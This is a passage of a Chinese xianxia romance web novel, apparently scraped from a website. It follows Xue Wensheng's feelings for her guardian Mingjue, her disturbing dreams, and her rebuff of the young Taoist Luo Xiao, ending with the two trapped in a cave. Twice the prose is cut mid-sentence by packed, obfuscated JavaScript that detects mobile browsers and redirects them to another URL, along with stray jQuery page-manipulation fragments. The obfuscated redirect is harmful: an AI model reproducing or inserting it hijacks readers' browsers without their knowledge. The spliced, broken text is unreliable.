雪闻笙则默默走到明决身侧稍后的位置站定,低眉顺眼,手里无意识地捻着一片刚才在药圃边缘随手摘下的草叶,带着锯齿边缘的叶片轻轻的剐蹭着她的手背,心思飘忽不定的。她眼角的余光能瞥见洛逍那压抑着激动的侧脸,心中隐隐预感到了什么,一颗心不由得微微提了起来。 果然,洛逍趁着明决与妄月真人最后确认丹药用法和剂量的间隙,轻轻拉了拉妄月真人的衣袖,将她稍稍引到一旁。 他满脸都是乖巧懂事的笑容,声音压得低低的,却足够让不远处的明决和雪闻笙都隐约听到:“师父,此去平乐镇平定疫情,您又要耗费心神救人,身边总需有人打点琐事,煎药照料什么的。我看闻笙姑娘心思细腻,手脚又麻利,对药材也熟悉,若是......若是能得她相助,师父您也能轻松些,更能专心救治病患,岂不是两全其美?” 他顿了顿,又飞快地瞟了一眼雪闻笙,语气更加“恳切”:“而且,闻笙姑娘久居山中,想必也未曾见识过山下的世界。弟子觉得,让她随行,既能助师父行善积德,亦能让她增长见闻,体悟众生之苦,于她心境修为,想必也是大有裨益的。这......这总比一直闷在山上要好。” 这番话,说得可谓是滴水不漏,冠冕堂皇。字字句句都是为了妄月真人着想,为了雪闻笙考虑,将他那点想要带雪闻笙走的私心,包裹在“助人为乐”和“增长见闻”的糖衣之下,显得无比正当且充满善意。 妄月真人何等人物,岂会看不出自家徒弟那点小心思?她目光温和地看了洛逍一眼,那眼神仿佛在说“知徒莫若师”。她并未点破,沉吟片刻,转而看向明决,唇角含着一抹了然又包容的笑意,将问题抛了过去:“明决道友,你看......洛逍这孩子虽有些莽撞,但所言,倒也不无道理。不知阁下意下如何?当然,此事还需看闻笙姑娘自身意愿,以及道友的安排。” 瞬间,所有人的目光都聚焦在了明决身上。 洛逍紧张地看着明决,脸上努力维持着镇定和期待。 妄月真人气度从容,静待回应,无论明决作何回应,她都接受。 雪闻笙的心跳则骤然漏了一拍,随即又砰砰加速跳动起来。她抬起头,目光紧紧锁在明决那张波澜不惊的侧脸上,手指紧紧绞着药草叶,她想知道,他会如何回答。 明决的神色没有任何变化,依旧是那般清冷端凝,仿佛洛逍提出的只是一个再寻常不过的建议。 他先是对妄月真人微微颔首,算是回应了她的询问,然后目光平静地转向洛逍,语气不冷不热:“洛逍小友有心了。能为真人分忧,确是功德一件。” 洛逍心中一喜,以为有戏。 明决话锋随即一转,沉稳周密道:“然而,闻笙身份特殊,体质异于常人,如今伤势虽愈,根基却仍需稳固,不宜远行劳顿,更不宜沾染凡尘过多烟火气,容易旧疾复发。” 他的话语清晰地在庭院中回荡,每一个字都像经过深思熟虑。 “况且,山下人心叵测,世情复杂。闻笙心思单纯,不谙世事,贸然下山,恐生变故,非是稳妥之举。”他说到这里,目光若有似无地从雪闻笙脸上掠过,那眼神深邃,仿佛勘透了她身上所有不为人知的秘密与潜在的风险,“尘寂山虽然清寂,却是一方净土,于她而言,眼下是最好的修身养性之所。” 他没有直接点明雪闻笙的不明身份,但“身份特殊”、“体质异于常人”这几个字,已足够让知晓内情,或有所猜测的妄月真人心中了然,也让洛逍无法再以“增长见闻”之类的理由进行辩驳。 最后,明决看向妄月真人,言辞恳切,充满了风度与智慧:“真人心怀慈悲,欲带她历练,贫道感念。只是,在下需为她的安危与将来负责。此番恐怕要辜负真人与洛逍小友的美意了,还望真人见谅。况且我之前有言在先,若山下抚疫之行有困难,我愿亲自下山助真人一臂之力。” 他这番话,有理有据,有节有度,既明确表达了拒绝,又充分顾及了妄月真人和洛逍的颜面,将拒绝的理由归结于对雪闻笙安危和健康的考量,以及自己身负的监护之责,让人挑不出丝毫错处,确实思虑周全,仁至义尽。 妄月真人闻言,脸上没有意外之色,对明决投去更加欣赏的一瞥。她微微颔首:“道友考虑周详,是贫道与徒儿思虑不周,着实唐突了。既然如此,自然是以雪闻笙姑娘的安危为重。”她轻轻拂动了一下拂尘,算是将此页揭过了。 洛逍脸上的期待和兴奋,如同被打了霜了茄子,瞬间垮了下来。 他张了张嘴,还想再说些什么,但在明决平静极具威压的目光,以及师父隐含告诫的眼神下,终究没能说出口,只是悻悻地低下了头,满心的不甘与失落。 而一旁的雪闻笙,在听到明决那句清晰的“不宜”时,她紧绷的心弦骤然一松,漫天飞舞的狂喜,像决堤的春潮一样,瞬间涌遍了四肢百骸,几乎有种让她忍不住想要跳起来的冲动! 他拒绝了! 他没有答应! 他没有让她跟那个聒噪,自以为是的洛逍走! 尽管她从一开始就打定主意不会下山,尽管她对洛逍描绘的那个世界毫无兴趣,但亲耳听到明决出言挽留,那种被肯定,被在意,被划归为他“责任”范围之内的感觉,依旧让她心花怒放,雀跃不已。 她悄悄垂下眼睫,掩去眸底几乎要溢出来的欢喜和得意,生怕被旁人瞧了去。但那微微上扬的唇角,那悄然放松下来的肩膀,以及那不再用力捻搓草叶,反而轻轻抚平它褶皱的指尖,无一不在泄露她内心的波澜。 少女的心事,在这一刻,像被春风催开的花苞一样,层层叠叠地舒展绽放。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892640|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她方才所有的忐忑,不安,试探,都在这句婉拒中得到了最想要的答案,自己的暗自期盼终于有了回应。 她哪里是真的想下山?她只是想借此事,看一看明决的态度。 她想看看,在这个心怀天下的男人心中,她究竟占据着怎样一个位置?是不是可以像那些草药丹药一样,为了“苍生大义”,被轻易地赠予他人? 现在,她知道了。 或许,在他心中,她依旧比不上那数千百姓的性命重要。但至少,她并非无足轻重,并非可以随意安置的物品。他有他的原则,他的责任,而守护她,显然也被他纳入了这原则与责任之中,甚至......优先级还在那“增长见闻”和“助人为乐”之上。 这种被珍视,哪怕是理性层面被珍视的感觉,让她那颗因为身份成谜,前尘惘然而始终漂浮不定的心,终于找到了可以依靠的彼岸。 她偷偷抬起眼,飞快地瞟了一眼明决那挺拔如松的背影,阳光在他素白的衣袍上流转,仿佛为他镀上了一层永恒的光晕。 这个男人,如此高冷,如此克制,如此遥远。 可偏偏,他每一次理性的抉择,每一次周到的考量,都能在她心湖激起一圈圈无法平息的情愫涟漪。 她不在乎洛逍的失望,不在乎妄月真人的了然,她只在乎明决的态度。 而现在,她心满意足。 妄月真人见事已毕,便不再多留,听明决说两个牵丝木头人会协助她们将药材安全送至山下,她再次向明决表达了感谢,并言明若疫情得控,他日再登门拜谢。明决亦客气还礼,言说若有需要,可再传书于他。 洛逍纵然百般不舍,也只得收拾收拾破碎的心情,背起沉重的药篓,跟在师父身后。临行前,他忍不住又回头深深望了雪闻笙一眼,目光复杂,有遗憾,有不解,还有一丝未曾熄灭的执念。 雪闻笙感受到他的目光,平静地回望过去,眼神清澈,淡然,像看待一个即将远行的再无交集的陌生人。她甚至微微颔首,算是尽了最后的礼数,那疏离的态度,与之前在药圃树下听他讲故事时的向往与羞涩,判若两人。 洛逍心中最后一点侥幸也熄灭了,他终于明白了,自己那些自以为高明的小算盘,在这个看似单纯的少女眼中,或许根本就是个笑话。他怅然若失地转过身,背上药篓跟着妄月真人和木心童心,一步一步消失在尘寂山蜿蜒的下山小径尽头。 庭院中,终于恢复了往日的宁静。 只剩下明决,和雪闻笙。 雪闻笙站在原地,看着身旁的明决,只觉得天也蓝了,山也青了,连空气中熟悉的药草苦味,都变得甘甜起来。 明决没有离开,他静立片刻,目光从雪闻笙压抑不住欢欣的侧脸上扫过,并未多言,淡淡道:“风波已平,勿再分心。你今日的功课,尚未完成。” 他声音依旧清冷,仿佛刚才那场关乎她去留的短暂风波,从未发生过。 雪闻笙用力地点了点头,脆声应道:“嗯!我这就去完成!” 她转身奔向书房,微风吹动她的裙摆四散飘扬,她脚步轻快得像要飞起来了。 她知道,她还能留在这里,留在他身边,而这于她而言,便是此刻全世界最重要的事。 8. 第8章 自妄月真人师徒离去,已过旬日,想必疫情应该控制住了。尘寂山也回到了从前的宁静,药圃里的草木遵循着自然的韵律生长,书房的墨香与药房的药气交织,一切似乎都与往常无异。 然而,在这看似不变的平静之下,有些东西,就好像深埋在地底的种子一样,在无人窥见的黑暗中,悄然破土,滋生蔓长。 对雪闻笙而言,那天明决出言婉拒,将她留在山中的决定,像一簇火苗,点燃了她心底某种朦胧而炽热的期盼。她觉得自己与明决之间,似乎有了一根无形的更为紧密的纽带。她越发贪恋起在他身边的感觉,目光总是不由自主地追随着那一抹素白的身影。 她会在他于露台清修时,偷偷的,自然的靠近,假装在一旁修剪花枝,只为了能多看几眼他静坐时的样子,那如玉石雕琢般的侧脸她怎么都看不够。 她会在他翻阅典籍时,捧着书凑到旁边,借着请教问题的由头,感受他清冷沉稳的气息。甚至会在他专注于捣药炼丹时,悄悄坐在不远处的门槛上,什么也不做,就那么安静地看着,仿佛只要能待在他的视线范围内,心里便是充盈而安稳的。 如果明决闭关静修时间太长,她看不见明决,她就浑身不舒服,觉得自己像生病了一样,恹恹的,全身没力气。所以她逮到机会就拼命呆在明决的身边,不离开半步。 “明决,你看这句‘天道无亲,常与善人’,是什么意思呢?”她捧着一卷《道德经》,挨着他书案旁的椅子坐下,声音放得很轻柔。 明决从手中的药典上抬起眼,目光掠过书卷,落在她所指的字句上,平静解答:“天地不仁,视万物为刍狗。然其运行规律,自有章法。行善之人,其心合于道,其行顺乎理,故往往能得道多助,并非天道有所偏爱,而是其自身行为合乎了自然之道。” 他的解释清晰理性,一如往常。 雪闻笙“哦”了一声,似懂非懂,心思却完全不在经义上。她悄悄吸了口气,鼻尖萦绕着他身上那股混合了药草与书卷的独特冷香,心里像跑进去了一只小兔子,砰砰砰直跳。她希望他能多看她一眼,希望他能像那日拒绝洛逍时那样,流露出哪怕一丝一毫的不同。 可明决解答完毕,便又重新埋首于他的药典之中,神情专注,眉宇间是惯常的疏离与淡漠,仿佛她刚才的问题,与药圃里一株草药的长势一般,并没有什么本质上的区别。 雪闻笙眼底那点微弱的期待,渐渐黯淡了下去。心里头那点因为能留在他身边而升腾起的欢欣,也像是被细沙慢慢掩埋,时间长了生出一种郁闷。 他待她,与以往没有任何不同。依旧温和,却也依旧隔着一段无法逾越的距离。他的世界,仿佛被一层无形的琉璃罩子笼罩着,她看得见他的光华,感受得到他的存在,却始终触摸不到那温度的核心。他一心修道,理性克制,悲悯众生,却似乎......独独不会为她一人停留片刻目光。 这让雪闻笙开始辗转反侧。 一旦睡不着觉,夜晚就变得格外难熬。 她躺在床榻上,明明身体已经很疲惫了,意识却异常清醒。白日里的郁闷与失落,在寂静的夜里被无限放大。她开始若有若无地,陷入了那些光怪陆离的梦境。 老实说,她已经很久没再做那种梦了,阔别已久,如今再入梦,梦境不再是之前模糊的血色与嘶吼,景象变得更清晰了一些。 她梦见自己身处一片迷雾笼罩的古老丛林,四周是影影绰绰、身形矫健、容貌极其俊美的男女,他们眼神冰冷,手里持着奇异的骨刃或者藤鞭做武器,行动起来快如鬼魅一般,所过之处,那些穿着修道服饰的各路人马纷纷倒下,鲜血染红了奇花异草......她还梦见燃烧着篝火的盛大祭典,这群人们围绕着火焰起舞,歌声充满了原始的诱惑,他们的眼睛在火光的映照下,闪烁着野性狂热的光芒...... 对于雪闻笙而言,这些梦境碎片,带着一种诡异的熟悉感,仿佛是她血脉深处沉睡的记忆正在慢慢苏醒。它们不再仅仅是恐惧,掺杂了一种潜藏的兴奋,暴戾,让她心惊肉跳。 可是她现在的心智还承受不住这些,梦境通常到了后面,她会失控,每当她从梦中惊醒,冷汗涔涔地坐起来,就会有种恶心想吐的眩晕感。 她不知道自己怎么了。 她为什么会时不时做这样奇怪的梦? 那些人......是她的什么人?为什么那么熟悉?还有梦里的那些杀戮,那些不知名的狂热,都影响着她...... 她不敢深想,更不敢把这些告诉明决。 她隐隐觉得,自己似乎开始变得有些不一样了,不仅仅是这些诡异的梦境,还有她的情绪。 她不再像几年前初来时那样,很容易得到满足,总能轻易地发出银铃般的笑声,现在她心底仿佛压了一块沉重的石头,会常常陷入沉默。 有时对着药圃里生机勃勃的花草,她会觉得碍眼。或是望着天空中自由翱翔的鸟儿,会莫名地感到一阵烦躁。私下里,她的脾气也变得有些难以控制。一次,她给九月兰浇水,不小心被花刺划伤了手指,以前也偶尔会发生这种小意外,但这次不一样,她盯着那一颗沁出的小血珠,竟然生出一种想要毁坏眼前一切的暴戾冲动,虽然这个念头刚冒出头就被她死死压下去了,但是那种陌生的情绪还是让她自己感到害怕。 她知道这些变化不好,一点都不好,她不喜欢这样的她。 而且明决大概也不会喜欢,明决喜欢的是那个天真烂漫、纯真无邪的样子。所以她努力地控制着,在明决面前,依旧努力做着那个乖巧、好学、偶尔会闹点无伤大雅的小脾气的少女。她不敢让他看到自己心底逐渐弥漫起的阴暗和躁动,生怕从他眼中看到一丝一毫的厌恶或着疏远。 但是她真的能做到不露出一点痕迹吗? 这种刻意的压抑,以及梦境带来的困扰,悉数堆积在她眉宇间,染上了一抹极淡的,与她年龄不符的轻愁与沉郁。这份沉郁,不仅没有折损她的容颜,反而为她增添了一 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最奇异的是她的气息,周身散发出的不再是单纯的草木清香,而是一种极淡极淡、却无法忽视的甜靡幽香,像月夜下悄然绽放的优昙婆罗,无声无息,便能侵入心脾,撩动人心里最隐秘的那根弦。 雪闻笙自己当然知道这些变化,她很不适应,所以这段时间很少照镜子,偶然一次她在溪边浣洗草药,低头临水一观,被水中倒影的绝美容颜惊住了。 水里的那个绝色佳人真的是她吗?美得如此不真实,如此......具有攻击性。她觉得自己很陌生,甚至感到了一丝惶恐,这日益增长几乎要满溢出来的美丽,像一层华丽又危险的纱幔,将她与周围的世界隔开了。 而明决也察觉到了。 他注意到,雪闻笙似乎比以往安静了许多,笑声明显减少了。偶尔看向他时,那眼神复杂得让他有些难以解读,里面还有一丝他看不分明的,如同迷雾般的忧郁,而她日益惊人的容貌变化,更是无法忽视。 他曾在她低头研磨药粉时,无意间瞥见她那段白皙修长的后颈,线条优美得如同天鹅垂首,阳光落在上面,仿佛能透过肌肤看到底下淡青色的血脉,一种脆弱而又极致诱惑的美。那一刻,即便是道心坚定如他,呼吸也不由得微微滞了一瞬,毕竟她确实是美的,极美。 但他很快便收敛了心神。 他是明决,尘寂山的主人,潜心修道之人。 他深知雪闻笙身份非同一般,这突如其来的变化,恐怕与她的不明身世有关。这份美丽,是天赋,或许也是诅咒,是包裹在蜜糖外的毒药。 他没有流露出任何异样。他的理性与克制,是他修行的根基,也是他能在这变幻莫测的局势中,护她周全的屏障。所以,他依旧待她如常,指导她功课,吩咐她做事,语气平稳,目光清明。 只是,在某些夜深人静的时刻,他独自于露台清修时,脑海中偶尔会掠过她那双混合着纯真与媚惑的眼眸,心底会泛起一丝极淡的涟漪。 这涟漪为何而起,他不愿深究。 天道无常,人心惟微。 有些变化,需静观其变。 9. 第9章 尘寂山的夜晚,因为明决的闭关静修,显得比往常更加深邃寂静。 木心童心结束了一天的忙碌,双双归了位。竹楼木屋里只剩下雪闻笙一个人,烛火在窗纸上投下她身影,形只影单。白日里她过着侍弄药圃、看书习字的规律生活,但这并不能填满她心底那日渐扩大的空洞。明决的世界如同尘寂山这巍峨的山峦,她只能仰望,却难以真正融入。那份清冷与隔绝,让她倍感寂寞,满腹心事,无人可诉。 她叹了口,在书架上拿了本书看,消磨时间。就在她对着一卷《神农本草经》出神时,窗户极轻地响了三下,笃,笃,笃。声音很轻,带着一种小心翼翼的试探。 雪闻笙一怔,警惕地抬起头。不可能是木心或者童心,他们是牵丝木人,向来根据指令做事。 这个时辰,谁会来? 她走到窗边,没有立刻开窗,压低了声音问:“谁?” 窗外传来一个同样压低的声音,带着急切与兴奋:“闻笙姑娘,是我,洛逍!” 洛逍?他不是跟着他师父下山了吗?怎么会在这个时候出现在这里?雪闻笙秀眉微蹙,心中惊疑不定。 “你怎么来了?有什么事吗?明决他......”她下意识想提明决,随即想起他正在闭关,声音便顿住了。 “我知道明决前辈闭关了!”洛逍的声音透着一丝得意,仿佛掌握了什么了不得的情报,“闻笙,你开开窗户,我有要紧事同你说!真的,非常非常要紧!” 雪闻笙沉吟片刻。明决不在,这漫漫长夜确实无聊得紧。洛逍此人,虽然心思活络,有些油滑,但看起来并无恶意,而且......他似乎总能带来一些山外的新奇消息,将他当作一个送上门来解闷的消遣,似乎也不错。 她轻轻推开窗户。月光如水,瞬间流淌进来,也照亮了窗外洛逍那张激动,微微泛红的脸庞。他换了一身崭新的青色道童服饰,发梢和肩头沾染了些许夜露,显得有些风尘仆仆。 “什么事不能在白天说?非要深更半夜偷偷摸摸的?”雪闻笙没打算让他进门,靠在窗边跟他说话,月光在她的侧脸上勾勒出清冷的弧线,语气带着一丝怨艾。 待洛逍看清楚她沐浴在月华下的模样,一口气上不来,差点活活背过气去。不过旬日不见,她似乎……更美了。 那种美,不再是初见的灵秀清纯,而是像月下盛放的优昙,圣洁,空灵,纯净,偏偏眼神里又藏着淡淡的、惹人怜爱的轻愁。他只觉的心跳如擂鼓,本来在脑子里准备好的说辞全乱了。“我......我......我......” “额,白,白天人多眼杂,不太方便。”洛逍定了定神,努力让自己的声音听起来更加诚恳,“闻笙,此地不宜久留,万一惊动了明决前辈就不好了。你随我去离人峰,那里景致极好,也安全,我真的有十分重要的话要对你说!” “离人峰?”雪闻笙眸光微转,那里确实是尘寂山一处相对偏僻的所在,视野开阔,远离竹楼和药圃。她看着洛逍那急切又期待的眼神,心中那份无聊与寻求刺激的心思占了上风。也好,她倒要看看,洛逍这葫芦里卖的什么药。 “嗯,你带路吧。”她轻轻巧巧地跃出窗外,动作轻盈得像一只狸猫。 洛逍大喜过望,连忙在前面引路。他显然对走山路颇为熟悉,专挑隐蔽小径,身形灵活地穿梭在月色斑驳的林间。雪闻笙不紧不慢地跟在他身后,裙裾拂过沾满夜露的草丛,未曾发出丝毫声响。 离人峰是尘寂山的一处侧峰,峰顶平坦,有一块巨大的、光洁如镜的岩石,名为“观澜石”。此处视野极佳,可俯瞰群山连绵,仰望星河璀璨,夜风也比山下凛冽些,吹得人发丝浮动,衣袂翻飞。 踏上峰顶,洛逍停下脚步,转过身,深吸了一口清冷的空气,不料夜风入肺,他急促干咳了几声,等平复好之后,他抬起头,脸上带着成就感的红晕:“闻笙,你看,这里是不是很美?” 雪闻笙没有立刻回答她的问题,她走到观澜石边,举目四望。但见云海在脚下翻涌,月色将云层染成一片朦胧的银白,远山如黛,近岭含烟,浩瀚的星空仿佛触手可及。这景致确实壮丽非凡,有种寂寥之美。 “嗯,尚可。”她淡淡应了一声,语气听不出什么波澜,转身倚靠在观澜石上,好整以暇地看着洛逍,“现在可以说了?什么要紧事,值得你大晚上偷偷跑上山来?” 月光毫无保留地倾泻在她身上,为她镀上了一层清辉。她微微歪着头,眼神里带着几分探究,几分漫不经心,那姿态慵懒而随意,却偏偏有种勾魂摄魄的风情。 洛逍看着她,觉得口干舌燥,先前打好的腹稿在脑海里搅成了一团乱麻,忘了个干干净净,他花了好大劲才定下心神,努力找回了自己的舌头,脸上洋溢着他最自以为迷人的笑容,语气也变得格外温柔: “闻笙,我......我回去这些天,脑子里、心里,全都是你的影子!吃饭想着你,睡觉梦着你,就连帮师父救治病人时,一不留神,眼前浮现的还是你生气时可爱的样子,听故事时专注的样子......”他上前一步,目光灼灼,带着少年人特有的,不加掩饰的热烈,“只要看不见你,我就发了疯一样的想你,我从未对任何一个女子有过这样的感觉!闻笙,我知道......我怕是喜欢上你了!” 这番告白直白又热烈,若换了个寻常少女,只怕早就已经面红耳赤,不知所措了。 雪闻笙很认真的听完了,却只是轻轻“哦”了一声,唇角弯起一个极浅,几乎看不分明的弧度,似笑非笑。那眼神,像在看一场与己无关,略显拙劣的表演。 “所以,你所谓的‘要紧事’,就是这个?”她的声音平淡,甚至带着点无聊的意味,“洛逍小道长,你妄月师父知道你今天这般......思凡吗?” 洛逍被她这反应噎了一下,准备好的深情款款差点破功。但他很快就调整过来了,脸上露出着委屈神色,坚定道:“我师父是我师父,我是我。我师父怎么想不重要!重要的是我的心意!雪闻笙,你是不知道,在平乐镇那些日子,看着人世间每天发生的那些生离死别,我心里更加确定,人生苦短,要及时行乐,要抓住自己真正在意的人和事!不顾一切跟自己心悦之人在一起,才是正道......” 他越说越激动,又往前凑近了些,几乎能闻到雪闻笙身上那股若有若无,令他心旌摇曳的幽香:“你说说看,这尘寂山到底有什么好?清冷寂寞,除了草药就是道经!明决前辈固然是得道高人,让人仰慕敬重,可他......他毕竟是个方外之人,不解风情,你如花美眷,整日与之相对,他怎么能懂得你的好?怎么能给你想要的快乐呢?” 他仔细观察着雪闻笙的神色,见她一言不发,并没有动怒,只是静静听着,像在慎重思考着什么,他胆子便更大了些,声音里充满了诱惑:“跟我走吧,闻笙,我带你下山去,离开这里!我们去游历名山大川,去看遍世间繁华!你不是喜欢听故事吗?我可以带你亲身去经历那些有趣的事!江南的烟雨,塞北的风沙,西域的歌舞......保证比在这山上快活千百倍!” 说到这里,他眼中闪烁着势在必得的光芒,语气也变得急切起来:“或者......或者你暂时不想离开也行!你告诉我,要怎么样你才会喜欢我?只要你说,我一定做到!” 他说完,山上只有他的回音,等回音消散完了,只剩下呜咽的风声,空旷极了,也尴尬极了。 他梗着脖子,咽了口唾沫。 良久,雪闻笙终于有了一点反应。 她轻轻笑了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了,你的‘要紧事’说完了?”她理了理被风吹乱的鬓发,语气轻松得像是在讨论明天的天气,“夜色已深,我该回去了。洛逍小道长,你也早些下山吧,山路难行,小心些。” 说完,她看也不看呆若木鸡的洛逍一眼,转身便要离去。 “雪闻笙!”洛逍猛地回过神,不甘心地喊道,“我......我是真心的!真的是真心的!我......” 雪闻笙脚步未停,只背对着他挥了挥手,月光下她的背影纤细曼妙,带着一种拒人于千里之外的冷漠。 “真心与否,时间自会证明。”她的声音随风飘来,带着若有若无的叹息,“只是,莫要为了一场虚空,误了自身前程。” 话音落下,她的身影已经轻盈地消失在小径的尽头,只余下一缕清浅的馨香。 洛逍心中五味杂陈,呆立在原地。望着她消失的方向,他胸口堵得厉害,满腔的热情仿佛被一盆冰水浇灭了,剩下无尽的失落和一种被看轻了的屈辱。但他心底那点执念,并没有因此消散,反而像野草一样,烧不尽,吹又生。 月色依旧皎洁,离人峰上只剩下一个被情丝所困,怅然若失的少年。 雪闻笙走在返回竹楼木屋的路上,脸上那副慵懒淡然的面具缓缓褪去,继而出现了一种复杂的情绪。洛逍的这番痴迷言行让她觉得可笑又无趣,但那份毫不掩饰的热烈之言,她确实听进去了,那番话为她解除了一些疑惑,也像一面镜子,隐约照出了她内心深处某种不被承认的渴望。 只是,那份渴望的对象,从来都不是洛逍。 她抬起头,望向殿宇后方,眼神幽深。那处有个隐秘的洞府,明决正在里面闭关。 明决...... 山风掠过,带着夜的凉意,吹拂起雪闻笙额间的发丝,却吹不散少女心头越发缭绕的迷雾。 10. 第 10 章 自离人峰那夜陈情失利后,洛逍毫不气馁,发誓一定要感动雪闻笙。 雪闻笙只当不知,刻意避着洛逍。 任凭他在竹楼附近如何弄出些窸窣声响,或是学着鸟叫发出古怪的暗号,她都只当是山风过耳,充耳不闻。此时她心里那份因为明决而起的烦闷尚未排解,实在没心思再去应付这个热情过剩的小道士。 然而,洛逍的执着超出了她的预料。 一连数日,他竟像是铁了心要在尘寂山扎根一般,不仅没走,还变本加厉起来。 起初只是弄些小动静,后来竟开始在她窗下低声呼唤她的名字,此起彼伏,一声又一声,像极了某种小动物求偶时的声音,带着不知天高地厚的急切,在寂静的山谷中格外清晰。 “闻笙姑娘......雪闻笙......闻笙,你出来见见我好不好?我就说几句话,你出来吧,求求你出来吧......” 雪闻笙紧闭门窗,双手捂着耳朵,在屋内烦躁地蹙紧了眉。明决闭关之处虽然离竹楼有些距离,但修道之人灵觉敏锐,万一这吵闹声惊扰了他的清修,后果不堪设想。 她可以不在乎洛逍如何,却不能不顾及明决的安危。 深吸一口气,压下心头的火气,她猛地推开窗户,跳了出去,冷眼看着洛逍。“跟我来。” 她终于肯露面见自己了,洛逍眼睛顿时一亮,连忙摘掉身上花草枝叶做的伪装,小跑着跟了上去,俩人一前一后来到一处偏僻之地。 “喂,你到底想怎样?”雪闻笙转身看着他,声音像结了冰的碴子,带着显而易见的不耐。 洛逍本就因为她的出现,惊喜万分,也顾不上她冰冷的语气,只想要一个结果,急切道:“雪闻笙!你终于肯见我了!我......我就是想问问你,那晚我说的话,你考虑得怎么样了?我......” “不考虑。”雪闻笙干脆利落地打断他,眼神疏离,决心跟他划清界限,从今以后再不来往。“洛逍,我与你非亲非故,之前也仅仅见过一面,相处时间甚短,更算不得有多深交情。你的去留,你的心意,都与我无关。请你立刻下山,不要再打扰我,更不要惊扰了明决清修。” “怎么会无关呢?”洛逍急了,声音不由得提高了几分,“我对你是真心的!雪闻笙,你相信我!你是不是还在顾忌明决前辈啊,哎呀,你根本不用管那些,他根本......” “你住口!”听到他直呼明决的名字,雪闻笙脸色一沉,听他后面还意欲诋毁,心中无名火起,“明决之名,也是你能随意置喙的?请你立刻离开!” 见她动怒,洛逍反而更觉她连生气都美得惊心动魄,心底的委屈,不甘,就这么涌上了心头,他伸手想去拉她的手腕,表心意:“不走!我不走!要走,咱俩一起走!” 雪闻笙没想到他竟敢动手,下意识地往后一缩,厉声道:“做什么?你放手!” 洛逍抓住之后,觉得她手腕触手柔嫩无骨,不禁心池一片荡漾,非但没放,还抓得更紧了:“不,我不放!死也不放!” 这俩人一个要挣脱,一个不肯放,前前后后的就这么拉扯起来。雪闻笙虽然有些天生的灵巧,但论及武功修为,与正经从小修道的洛逍相比,简直是天壤之别。洛逍并没有用全力,担心会伤着她,但那股年轻男性的蛮劲和修道带来的气力,始终牢牢压制着雪闻笙,让她挣脱不得。 “你放开我!”雪闻笙又气又急,她是真有点愤怒了,再加上用力的拉扯,她的脸颊泛起一片红晕。 “我说了,除非你答应跟我下山,你就答应了我吧,我立刻就放开!”洛逍也是倔脾气上来了,固执地不肯先松手。 俩人谁也不肯先认输,默默较劲,争执到了关键时刻,两人都没留意脚下。 雪闻笙奋力一挣,洛逍下意识往回一带,力道失了分寸,雪闻笙脚步一个趔趄,惊呼一声,竟被带得整个人向后倒去!洛逍大惊,想要拉住她,因为靠得太近,被她下坠的力道一带,两人就这么一同滚下了后方的陡坡。 那个陡坡下面,不是实地,是一个被茂密藤蔓遮掩了的大洞,黑暗幽深,不知道在这里被荒废了多少岁月。 雪闻笙和洛逍双双陨落进去,天旋地转的滚了不知道多少圈,只听“噗通”、“噗通”两声闷响,伴随着几声痛呼,两人重重跌落在洞底。冰冷的寒气瞬间包裹上来,激得两人同时打了个寒颤。 这个洞狭长又纵深,里面光线昏暗,只有几缕微光从头顶藤蔓的缝隙中艰难透入,眼睛勉强能视物,不至于完全漆黑。四周是光滑湿冷的石壁,爬满了滑腻的青苔,上面还蠕动着许许多多细长的不知名的小虫子,空气中弥漫着一股浓郁,带着腐朽气息的阴寒味道。 雪闻笙睁着眼睛,喘着气,有些发懵,浑身骨头摔得像散了架一样疼,她缓了片刻,试着动了动,脚踝处和右肩膀传来一阵一阵钻心的刺痛,脚踝怕是扭伤了,肩胛骨也松动了。 她艰难撑着腿坐起身,发现裙摆也被杂草藤蔓撕毁了大半,凉飕飕的,环顾四周之后,她的心顿时沉了下去。这洞穴深不见底,四壁陡峭湿滑,根本无处攀爬,抬头向上看,洞口离地足有数丈之高,像一口冰冷的井,将他们牢牢困在了底部。 “啊,咿呀呀呀,疼......”洛逍也龇牙咧嘴地爬了起来,他运气好,有修为在身,摔得也比雪闻笙轻多了,好手好脚的,衣服也是囫囵个,只有手臂和膝盖被粗糙的石壁擦破了几处皮,红彤彤的一大片。他一边扒拉头上的碎叶子,一边环视,等他完全看清周围环境后,也立刻变了脸色。 “这......这是什么鬼地方?”洛逍一片惊惶,开口问道。 雪闻笙没有理他,又尝试着动了动受伤的脚踝,立刻疼得倒吸一口冷气。不行,她强迫自己冷静下来,其实她心里是万分责怪洛逍的,如果不是他苦苦纠缠自己,现在她应该好好地待在竹楼房间里,而不是在这里活受罪!但她心里明白,在现实的困境面前,发怒是没用的,眼下不是追究谁对谁错的时候,想办法出去才是关键,她可不想一直跟洛逍困在一起,耽误时间。 她琢磨着眼下这副情形,靠自己这个半吊子都算不上的身手和已经受伤的肩膀和脚,想爬上去无异于痴人说梦。唯一的指望,就是身边这个罪魁祸首了。洛逍人虽然讨厌,但修为还不错,体力也好,上去还得全靠他。 想到这里,雪闻笙深吸一口气,将所有的怒气、委屈和烦躁都强行压回心底。她不能激怒洛逍,更不能让他看出自己的虚弱和无助,她需要利用他。 她转过头,看向还在揉着胳膊,一脸自责懊恼的洛逍,声音放软了些,问道:“洛逍,都是我不好,不该跟你拉扯,要不然我们也不会掉下来。你......你没事吧?摔到哪里了吗?”她先发制人,把一切错都揽到自己身上。 